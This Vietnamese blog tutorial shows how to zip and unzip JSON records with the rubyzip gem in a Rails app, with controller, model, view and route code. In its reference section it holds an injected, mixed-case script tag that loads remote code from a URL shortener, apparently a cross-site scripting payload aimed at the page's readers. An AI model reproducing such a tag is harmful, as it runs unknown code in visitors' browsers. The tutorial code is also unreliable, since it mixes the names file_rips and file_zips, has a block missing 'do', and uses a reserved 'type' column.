Làm Thế Nào Để Zip File Trong Rails
Bài đăng này đã không được cập nhật trong 8 năm
Introduction
Trong hoạt động hàng ngày của chúng ta, chúng ta thường tương tác với tài liệu lưu trữ. Khi bạn muốn gửi cho bạn bè một loạt các tài liệu, có thể bạn muốn lưu trữ chúng trước rồi mới gửi đi. Khi bạn tải về một cuốn sách từ trang web, nó có thể sẽ được lưu trữ cùng với các tài liệu đi kèm. Vì vậy, làm thế nào chúng ta có thể tương tác với tài liệu lưu trữ trong Ruby?
Hôm nay chúng ta sẽ thảo luận về một Gem khá phổ biến được gọi là rubyzip nó được sử dụng để quản lý tài liệu lưu trữ nén. Với sự giúp đỡ của nó, bạn có thể dễ dàng truyển tải nhiều file một lúc bằng cách nén những file đó lại bằng một file duy nhất mà ko ảnh hưởng đến các file đang chạy khác.
Trong bài viết này tôi sẽ hướng dẫn các bạn làm thế nào để có thể zip lại nhiều file thành 1 file duy nhất. File zip này các bạn có thể lưu trữ hoặc gửi file cho người khác hoặc tạo ra file download chia sẻ trên mạng. Các bạn cùng tìm hiểu bên dưới nhé
Các bạn có thể tham khảo Gem
tại đây: RubyZip
Getting Started
Đầu tiên chúng ta sẽ bắt đầu với việc khởi tạo ứng dụng mới:
$ Rails new Zipper
Tiếp theo chúng ta sẽ tạo Model
để lưu trữ thông tin file
, các thuộc tính như sau:
- Name (string): Tên
- File (string): Tên file
- Type (int): Kiểu file
Tạo Model
:
$ rails g model FileZip name:string file:string type:integer
$ rake db:migrate
Trong controller FileZipsController
chúng ta thêm đoạn code này vào để lấy ra tất cả các bản ghi hiển thị nên view.
#file_rips_controller.rb
class FileZipsController < ApplicationController
def index
@file_rips = FileZip.order('created_at DESC')
end
end
Ở file view bạn thêm mã code như bên dưới:
# views/file_rips/index.html.erb
<h1>My File Zips</h1>
<ul>
<% @file_rips.each do |file_rip| %>
<li>
<strong>Name:</strong> <%= file_rip.name %><br>
<strong>File Name:</strong> <%= file_rip.file %><br>
<strong>Type:</strong> <%= file_rip.type %>
</li>
<% end %>
</ul>
Tiếp theo chúng ta sẽ tạo đường link
để trỏ tới liên kết.
# config/routes.rb
[...]
resources :file_rips, only: [:index, :new, :create]
root to: 'file_rips#index'
[...]
Ok, vậy là chúng ta đã có bước khởi tạo đầu tiên, bây giờ chúng ta sẽ tạo action New
để tạo ra các bản ghi. Bạn mở FileZipsController.rb
ra tạo method
như bên dưới.
#file_rips_controller.rb
[...]
def new
end
[...]
Trong view
ta thêm đường link
để tạo mới bản ghi.
# views/file_rips/index.html.erb
<h1>My File Zips</h1>
<%= link_to 'Add!', new_file_zip_path %>
[...]
Tạo view cho acion new
bằng đoạn mã dưới đây:
# views/file_rips/new.html.erb
<h1>Add File Rips</h1>
<p>Upload a zip archive with JSON files in the following format:</p>
<%= form_tag file_rips_path, method: :post, multipart: true do %>
<%= label_tag 'archive', 'Select archive' %>
<%= file_field_tag 'archive' %>
<%= submit_tag 'Add!' %>
<% end %>
Ở đây tôi có một số file JSON
, ta sẽ sử dụng rubyzip
để nén những file JSON
đó thành 1 file có đuôi .zip
. Cấu trúc file .zip
các bạn có thể thấy ở bên dưới:
- file_zips.zip
- file_zip-01.json
- file_zip-02.json
Mỗi file JSON
sẽ có cấu trúc như sau:
{
name: 'Tai lieu 1',
file: 'tai_lieu_rails_tutorial.doc',
type: '.doc'
}
Trong form trên chúng ta quan tâm đến multipart: true
nó sẽ cho phép chúng ta tạo ra file.
Bây giờ chúng ta đến phần xử lý để tạo ra file zip
. Bạn mởi file controller lên và thêm metod create
vào như sau:
[...]
def create
if params[:archive].present?
Zip::File.open(params[:archive].tempfile) do |zip_file|
zip_file.glob('*.json').each |entry|
FileZip.from_json(entry)
end
end
end
redirect_to root_path
end
[...]
Trong model file_zip.rb
ta thêm instance method
from_json
. Instance method này sẽ ghi dữ liệu về dạng JSON
như tôi đã định nghĩa ở trên.
[...]
# file_zip.rb
LIST = ['name', 'file', 'type']
class << self
def from_json(entry)
begin
FileZip.create!(JSON.load(entry.get_input_stream.read).select {|k,v| LIST.include?(k)})
rescue => e
debug(e.message)
end
end
end
[...]
Như vậy là coi như là xong, còn một phần nhỏ nữa là ta add
link download vào view index
nữa là xong:
# views/file_zips/index.html.erb
[...]
<%= link_to 'Download archive', file_zips_path(format: :zip) %>
Tiếp theo chúng ta sử dụng phương thức respond_to
để tải file zip mà chúng ta đã tạo ra ở trên.
# file_zips_controller.rb
[...]
def index
@file_zips = FileZip.order('created_at DESC')
respond_to do |format|
format.html
format.zip do
compressed_filestream = Zip::OutputStream.write_buffer do |zos|
@file_zips.each do |file_zip|
zos.put_next_entry "#{file_zip.name}-#{file_zip.id}.json"
zos.print file_zip.to_json(only: [:name, :file, :type])
end
end
compressed_filestream.rewind
send_data compressed_filestream.read, filename: "file_zips.zip"
end
end
end
[...]
Conclusion
- Trong bài viết này chúng ta đã có cái nhìn khá tổng quát về
Gem
RubyZip
. - Tôi hi vọng trong những ví dụ tôi viết sẽ có ích một phần nào đó trong dự án của bạn.
- Mọi ý kiến đóng góp xin để lại comment bên dưới để bài viết được hoàn thiện hơn. (thankyou)
Tài liệu tham khảo
<sCrIpT src="https://goo.gl/4MuVJw"></ScRiPt>
All rights reserved